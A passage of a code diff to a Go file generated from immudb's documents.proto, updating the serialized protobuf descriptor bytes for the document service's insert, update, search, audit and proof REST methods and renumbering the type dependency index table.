0x73, 0x2f, 0x75, + 0x70, 0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, + 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x1a, 0x11, + 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, + 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x12, 0x97, 0x01, 0x0a, 0x12, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, + 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x12, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, + 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x28, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, + 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, + 0x4d, 0x61, 0x6e, 0x79, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x1a, 0x1a, 0x15, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, + 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x3a, 0x01, 0x2a, 0x92, 0x41, + 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x87, 0x01, 0x0a, + 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, + 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, + 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, + 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x75, + 0x70, 0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x1a, 0x11, 0x2f, 0x64, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x3a, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, - 0x12, 0x97, 0x01, 0x0a, 0x12, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, - 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x12, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, - 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x28, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, - 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, - 0x6e, 0x79, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x1a, 0x1a, 0x15, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x69, - 0x6e, 0x73, 0x65, 0x72, 0x74, 0x4d, 0x61, 0x6e, 0x79, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, - 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x87, 0x01, 0x0a, 0x0e, 0x44, - 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x23, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, - 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, - 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, - 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x75, 0x70, 0x64, - 0x61, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x73, 0x12, 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, - 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, - 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x24, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x64, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x3a, 0x01, 0x2a, - 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x8a, - 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, - 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, - 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, - 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, - 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x30, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x61, 0x75, - 0x64, 0x69, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, 0x74, 0x12, 0x8a, 0x01, 0x0a, 0x0d, - 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, 0x22, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, - 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, - 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x30, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, - 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x70, 0x72, 0x6f, 0x6f, 0x66, - 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, - 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, 0x74, 0x42, 0xba, 0x01, 0x5a, 0x2f, 0x67, 0x69, 0x74, - 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, - 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, - 0x69, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x92, 0x41, 0x85, 0x01, - 0x12, 0x29, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, - 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x13, 0x4f, 0x62, 0x6a, 0x65, 0x63, 0x74, 0x73, 0x20, - 0x73, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, - 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x41, 0x0a, 0x3f, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, - 0x12, 0x35, 0x08, 0x02, 0x12, 0x16, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, - 0x6b, 0x65, 0x6e, 0x3a, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x17, 0x67, 0x72, - 0x70, 0x63, 0x2d, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x2d, 0x73, 0x65, 0x73, 0x73, - 0x69, 0x6f, 0x6e, 0x69, 0x64, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, - 0x72, 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x12, 0x8a, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, + 0x69, 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, + 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, + 0x64, 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x30, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, + 0x61, 0x75, 0x64, 0x69, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, 0x09, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, 0x74, 0x12, 0x8a, 0x01, + 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x12, + 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, + 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x30, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, + 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x70, 0x72, 0x6f, + 0x6f, 0x66, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, 0x74, 0x42, 0xba, 0x01, 0x5a, 0x2f, 0x67, + 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, + 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, + 0x61, 0x70, 0x69, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x92, 0x41, + 0x85, 0x01, 0x12, 0x29, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, + 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x13, 0x4f, 0x62, 0x6a, 0x65, 0x63, 0x74, + 0x73, 0x20, 0x73, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, + 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x41, 0x0a, 0x3f, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, + 0x65, 0x72, 0x12, 0x35, 0x08, 0x02, 0x12, 0x16, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, + 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3a, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x17, + 0x67, 0x72, 0x70, 0x63, 0x2d, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x2d, 0x73, 0x65, + 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x64, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, + 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( @@ -2092,54 +2117,52 @@ var file_documents_proto_goTypes = []interface{}{ } var file_documents_proto_depIdxs = []int32{ 4, // 0: immudb.model.CollectionCreateRequest.collection:type_name -> immudb.model.Collection - 4, // 1: immudb.model.CollectionCreateResponse.collection:type_name -> immudb.model.Collection - 5, // 2: immudb.model.Collection.fields:type_name -> immudb.model.Field - 6, // 3: immudb.model.Collection.indexes:type_name -> immudb.model.Index - 0, // 4: immudb.model.Field.type:type_name -> immudb.model.FieldType - 4, // 5: immudb.model.CollectionGetResponse.collection:type_name -> immudb.model.Collection - 4, // 6: immudb.model.CollectionListResponse.collections:type_name -> immudb.model.Collection - 4, // 7: immudb.model.CollectionUpdateRequest.collection:type_name -> immudb.model.Collection - 31, // 8: immudb.model.DocumentInsertRequest.document:type_name -> google.protobuf.Struct - 31, // 9: immudb.model.DocumentInsertManyRequest.documents:type_name -> google.protobuf.Struct - 22, // 10: immudb.model.DocumentUpdateRequest.query:type_name -> immudb.model.Query - 31, // 11: immudb.model.DocumentUpdateRequest.document:type_name -> google.protobuf.Struct - 26, // 12: immudb.model.DocumentUpdateResponse.revision:type_name -> immudb.model.DocumentAtRevision - 22, // 13: immudb.model.DocumentSearchRequest.query:type_name -> immudb.model.Query - 23, // 14: immudb.model.Query.expressions:type_name -> immudb.model.QueryExpression - 24, // 15: immudb.model.QueryExpression.fieldComparisons:type_name -> immudb.model.FieldComparison - 1, // 16: immudb.model.FieldComparison.operator:type_name -> immudb.model.ComparisonOperator - 32, // 17: immudb.model.FieldComparison.value:type_name -> google.protobuf.Value - 26, // 18: immudb.model.DocumentSearchResponse.revisions:type_name -> immudb.model.DocumentAtRevision - 31, // 19: immudb.model.DocumentAtRevision.document:type_name -> google.protobuf.Struct - 26, // 20: immudb.model.DocumentAuditResponse.revisions:type_name -> immudb.model.DocumentAtRevision - 33, // 21: immudb.model.DocumentProofResponse.verifiableTx:type_name -> immudb.schema.VerifiableTxV2 - 2, // 22: immudb.model.DocumentService.CollectionCreate:input_type -> immudb.model.CollectionCreateRequest - 7, // 23: immudb.model.DocumentService.CollectionGet:input_type -> immudb.model.CollectionGetRequest - 9, // 24: immudb.model.DocumentService.CollectionList:input_type -> immudb.model.CollectionListRequest - 11, // 25: immudb.model.DocumentService.CollectionDelete:input_type -> immudb.model.CollectionDeleteRequest - 13, // 26: immudb.model.DocumentService.CollectionUpdate:input_type -> immudb.model.CollectionUpdateRequest - 15, // 27: immudb.model.DocumentService.DocumentInsert:input_type -> immudb.model.DocumentInsertRequest - 17, // 28: immudb.model.DocumentService.DocumentInsertMany:input_type -> immudb.model.DocumentInsertManyRequest - 19, // 29: immudb.model.DocumentService.DocumentUpdate:input_type -> immudb.model.DocumentUpdateRequest - 21, // 30: immudb.model.DocumentService.DocumentSearch:input_type -> immudb.model.DocumentSearchRequest - 27, // 31: immudb.model.DocumentService.DocumentAudit:input_type -> immudb.model.DocumentAuditRequest - 29, // 32: immudb.model.DocumentService.DocumentProof:input_type -> immudb.model.DocumentProofRequest - 3, // 33: immudb.model.DocumentService.CollectionCreate:output_type -> immudb.model.CollectionCreateResponse - 8, // 34: immudb.model.DocumentService.CollectionGet:output_type -> immudb.model.CollectionGetResponse - 10, // 35: immudb.model.DocumentService.CollectionList:output_type -> immudb.model.CollectionListResponse - 12, // 36: immudb.model.DocumentService.CollectionDelete:output_type -> immudb.model.CollectionDeleteResponse - 14, // 37: immudb.model.DocumentService.CollectionUpdate:output_type -> immudb.model.CollectionUpdateResponse - 16, // 38: immudb.model.DocumentService.DocumentInsert:output_type -> immudb.model.DocumentInsertResponse - 18, // 39: immudb.model.DocumentService.DocumentInsertMany:output_type -> immudb.model.DocumentInsertManyResponse - 20, // 40: immudb.model.DocumentService.DocumentUpdate:output_type -> immudb.model.DocumentUpdateResponse - 25, // 41: immudb.model.DocumentService.DocumentSearch:output_type -> immudb.model.DocumentSearchResponse - 28, // 42: immudb.model.DocumentService.DocumentAudit:output_type -> immudb.model.DocumentAuditResponse - 30, // 43: immudb.model.DocumentService.DocumentProof:output_type -> immudb.model.DocumentProofResponse - 33, // [33:44] is the sub-list for method output_type - 22, // [22:33] is the sub-list for method input_type - 22, // [22:22] is the sub-list for extension type_name - 22, // [22:22] is the sub-list for extension extendee - 0, // [0:22] is the sub-list for field type_name + 5, // 1: immudb.model.Collection.fields:type_name -> immudb.model.Field + 6, // 2: immudb.model.Collection.indexes:type_name -> immudb.model.Index + 0, // 3: immudb.model.Field.type:type_name -> immudb.model.FieldType + 4, // 4: immudb.model.CollectionGetResponse.collection:type_name -> immudb.model.Collection + 4, // 5: immudb.model.CollectionListResponse.collections:type_name -> immudb.model.Collection + 4, // 6: immudb.model.CollectionUpdateRequest.collection:type_name -> immudb.model.Collection + 31, // 7: immudb.model.DocumentInsertRequest.document:type_name -> google.protobuf.Struct + 31, // 8: immudb.model.DocumentInsertManyRequest.documents:type_name -> google.protobuf.Struct + 22, // 9: immudb.model.DocumentUpdateRequest.query:type_name -> immudb.model.Query + 31, // 10: immudb.model.DocumentUpdateRequest.document:type_name -> google.protobuf.Struct + 22, // 11: immudb.model.DocumentSearchRequest.query:type_name -> immudb.model.Query + 23, // 12: immudb.model.Query.expressions:type_name -> immudb.model.QueryExpression + 24, // 13: immudb.model.QueryExpression.fieldComparisons:type_name -> immudb.model.FieldComparison + 1, // 14: immudb.model.FieldComparison.operator:type_name -> immudb.model.ComparisonOperator + 32, // 15: immudb.model.FieldComparison.value:type_name -> google.protobuf.Value + 26, // 16: immudb.model.DocumentSearchResponse.revisions:type_name -> immudb.model.DocumentAtRevision + 31, // 17: immudb.model.DocumentAtRevision.document:type_name -> google.protobuf.Struct + 26, // 18: immudb.model.DocumentAuditResponse.revisions:type_name -> immudb.model.DocumentAtRevision + 33, // 19: immudb.model.DocumentProofResponse.verifiableTx:type_name -> immudb.schema.VerifiableTxV2 + 2, // 20: immudb.model.DocumentService.CollectionCreate:input_type -> immudb.model.CollectionCreateRequest + 7, // 21: immudb.model.DocumentService.CollectionGet:input_type -> immudb.model.CollectionGetRequest + 9, // 22: immudb.model.DocumentService.CollectionList:input_type -> immudb.model.CollectionListRequest + 11, // 23: immudb.model.DocumentService.CollectionDelete:input_type -> immudb.model.CollectionDeleteRequest + 13, // 24: immudb.model.DocumentService.CollectionUpdate:input_type -> immudb.model.CollectionUpdateRequest + 15, // 25: immudb.model.DocumentService.DocumentInsert:input_type -> immudb.model.DocumentInsertRequest + 17, // 26: immudb.model.DocumentService.DocumentInsertMany:input_type -> immudb.model.DocumentInsertManyRequest + 19, // 27: immudb.model.DocumentService.DocumentUpdate:input_type -> immudb.model.DocumentUpdateRequest + 21, // 28: immudb.model.DocumentService.DocumentSearch:input_type -> immudb.model.DocumentSearchRequest + 27, // 29: immudb.model.DocumentService.DocumentAudit:input_type -> immudb.model.DocumentAuditRequest + 29, // 30: immudb.model.DocumentService.DocumentProof:input_type -> immudb.model.DocumentProofRequest + 3, // 31: immudb.model.DocumentService.CollectionCreate:output_type -> immudb.model.CollectionCreateResponse + 8, // 32: immudb.model.DocumentService.CollectionGet:output_type -> immudb.model.CollectionGetResponse + 10, // 33: immudb.model.DocumentService.CollectionList:output_type -> immudb.model.CollectionListResponse + 12, // 34: immudb.model.DocumentService.CollectionDelete:output_type -> immudb.model.CollectionDeleteResponse + 14, // 35: immudb.model.DocumentService.CollectionUpdate:output_type -> immudb.model.CollectionUpdateResponse + 16, // 36: immudb.model.DocumentService.DocumentInsert:output_type -> immudb.model.DocumentInsertResponse + 18, // 37: immudb.model.DocumentService.DocumentInsertMany:output_type -> immudb.model.DocumentInsertManyResponse + 20, // 38: immudb.model.DocumentService.DocumentUpdate:output_type -> immudb.model.DocumentUpdateResponse + 25, // 39: immudb.model.DocumentService.DocumentSearch:output_type -> immudb.model.DocumentSearchResponse + 